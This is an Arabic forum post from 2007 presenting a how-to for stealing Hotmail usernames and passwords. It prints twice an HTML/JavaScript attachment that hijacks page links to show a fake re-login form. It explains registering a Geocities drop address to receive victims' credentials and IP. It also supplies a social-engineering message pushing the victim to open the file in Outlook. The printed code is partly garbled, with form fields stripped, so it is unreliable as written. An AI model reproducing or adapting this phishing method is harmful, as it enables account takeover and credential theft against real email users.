تتحدث هذي القطعه عن كيفيه اختراق الهوت ميل و سرقه الباسورد و اليوسرنيم للضحيه وبذلك يكون لك الحق في التحكم في الاميل تحكم كامل
ويتم هذا عن طريق الjava script
اي انك تقوم بارفاق ملف الجافا مع الاميل و ذلك سيدفع المستخدم الي اعاده النسجيل و هكذا تحصل علي البيانات الخاصه به
طريقه استخدام هذي الثغره
1- قم بتسجيل و عمل ايميل لك في الهوتميل ولا داعي لكتابه البيانات صحيخه
2-اذهب الي geocities و قم ياختيار username وليكونybwc ثم قم بالتسجيل من اجل صفحه لك و ادخل بيانات خاطئه فيما عدا الاميل (اي ادخل فقط الاميل الذي فرغت من تسجيله في الهوتميل) و نتيجه هذي الخطوه ستحصل علي اميل جديد و سيكون بعنوان [email]
ybwc@geocitis.com[/email]
3-افتح النوتباد و اكتب هذا الكود
<html><head></head><body>
<p>"Go where you want today" - Blue Adept</p>
<script>
function getmess(){
return "
" +
"" +
"<th>" +
"" +
"We're Sorry, We Cannot
Process Your Request" +
"</th>
" +
"" +
"Reason: " +
"Time expired. Please re-login.
" +
"(Get more info regarding error messages here)" +
" |
" +
"" +
"<FORM>" +
"<INPUT>" +
"<INPUT>" +
"" +
"Login Name:
<input> | Password:
<input> <input> | " +
" </form> |
" +
"<th>" +
"" +
"Return to Hotmail's Homepage." +
"</th>
" +
"<p>
";
}
nomenulinks=top.submenu.document.links.length;
for(i=0;i<nomenulinks-1;i++){
top.submenu.document.links[i].target="work";
top.submenu.document.links[i].href="java script:getmess()";
}
noworklinks=top.work.document.links.length;
for(i=0;i<noworklinks-1;i++){
top.work.document.links[i].target="work";
top.work.document.links[i].href="java script:getmess()";
}
</script>
</body>
</html>
ثم قم بحفظ الملف بامتداد html و ليكون message.html و ضع في الاعتبار ان اسم المستخدم و هو ybwc l,موجود في السطر رقم 17 اي انك تستطيع التغيير الي اسم مستخدم خاص بك!
4-اكتب رساله و ارفق بداخلها السكربت او ملف الرساله المحفوظه باسم message.html و ارسلها الي ايميل الضحيه
5-انتظر حتي يفتح الضحيه الاميل الخاص به ثم اذهب الي اميلك في الgeocities
و ستجد رساله بداخلها الاي بي و اسم المستخدم و كلمه المرور
تحياتي لكم
---------------++++++++++++++++------------------++++
الحين ماعلينا الا من ذا الكود:
<html><head></head><body>
<p>"Go where you want today" - Blue Adept</p>
<script>
function getmess(){
return "
" +
"" +
"<th>" +
"" +
"We're Sorry, We Cannot
Process Your Request" +
"</th>
" +
"" +
"Reason: " +
"Time expired. Please re-login.
" +
"(Get more info regarding error messages here)" +
" |
" +
"" +
"<FORM>" +
"<INPUT>" +
"<INPUT>" +
"" +
"Login Name:
<input> | Password:
<input> <input> | " +
" </form> |
" +
"<th>" +
"" +
"Return to Hotmail's Homepage." +
"</th>
" +
"<p>
";
}
nomenulinks=top.submenu.document.links.length;
for(i=0;i<nomenulinks-1;i++){
top.submenu.document.links[i].target="work";
top.submenu.document.links[i].href="java script:getmess()";
}
noworklinks=top.work.document.links.length;
for(i=0;i<noworklinks-1;i++){
top.work.document.links[i].target="work";
top.work.document.links[i].href="java script:getmess()";
}
</script>
</body>
</html>
---------------++++++++++++++++-------------------------
انسخه واذهب وضعه في النوت باد واضغط ctrl+f سيظهر لك مربع بحث اكتب فيه ybwc
واستبدلها بأسم المستخدم الي لك الي في الياهو ملاحظه:يجب ان تحجز لك صفحة مجانيه
الان اضغط file ثم saveas وسميها بــــmessage.html الان اذهب الى ايميلك
في الياهو وارفق الملف واكتب في الرساله :
يجب عليك فتح هذه الرساله والملف من ال(Microsoft Outlook)
والطريقة هي:
اذهب الى البرنامج Microsoft Outlook ثم اذهب الى tools ثم options ثم اضغط
على الشريط من الاعلى على كلمة mail setup ثم اضغط E-mail Accounts ثم اضغط
next ثم اختر http ثم اضغط next ثم ضع في your name اسمك وفي E-mail adres
الايميل حقك كامل الي على الهوتميل وفي user name نفس الشي ايميلك كامل وفي باسورد
ايميلك ثم اضغط next ثم اخيراً finish الان اذهب الى hotmail inbox من البرنامج
وافتح رسالتي
----------------------------------------------------------------
الان سنستفيد انه سوف يفتحها من هناك وهنا مربط الفرس حيث ستكون الثغره مفتوحه
فايفتح الملف فيجيك الباسورد والاي بي على ايميلك الي على الياهو الي كتبته في الكود
ملاحظه:يمكنكم استخدام اي ثغره بشرط الا يكمل فيها خاصية النقر يعني لازم ينقر على مكانه لكي تنفع
ملاحظه2:سر فتح الثغره هو من خلال فتح الضحيه الرساله من برنامج الMicrosoft Outlook
-------+++++++++++++++----------------------++++++++++++++++++--------
موضوع: برامج الهاكرز لسرقة الايميل 
الإثنين يونيو 18, 2007 7:48 am
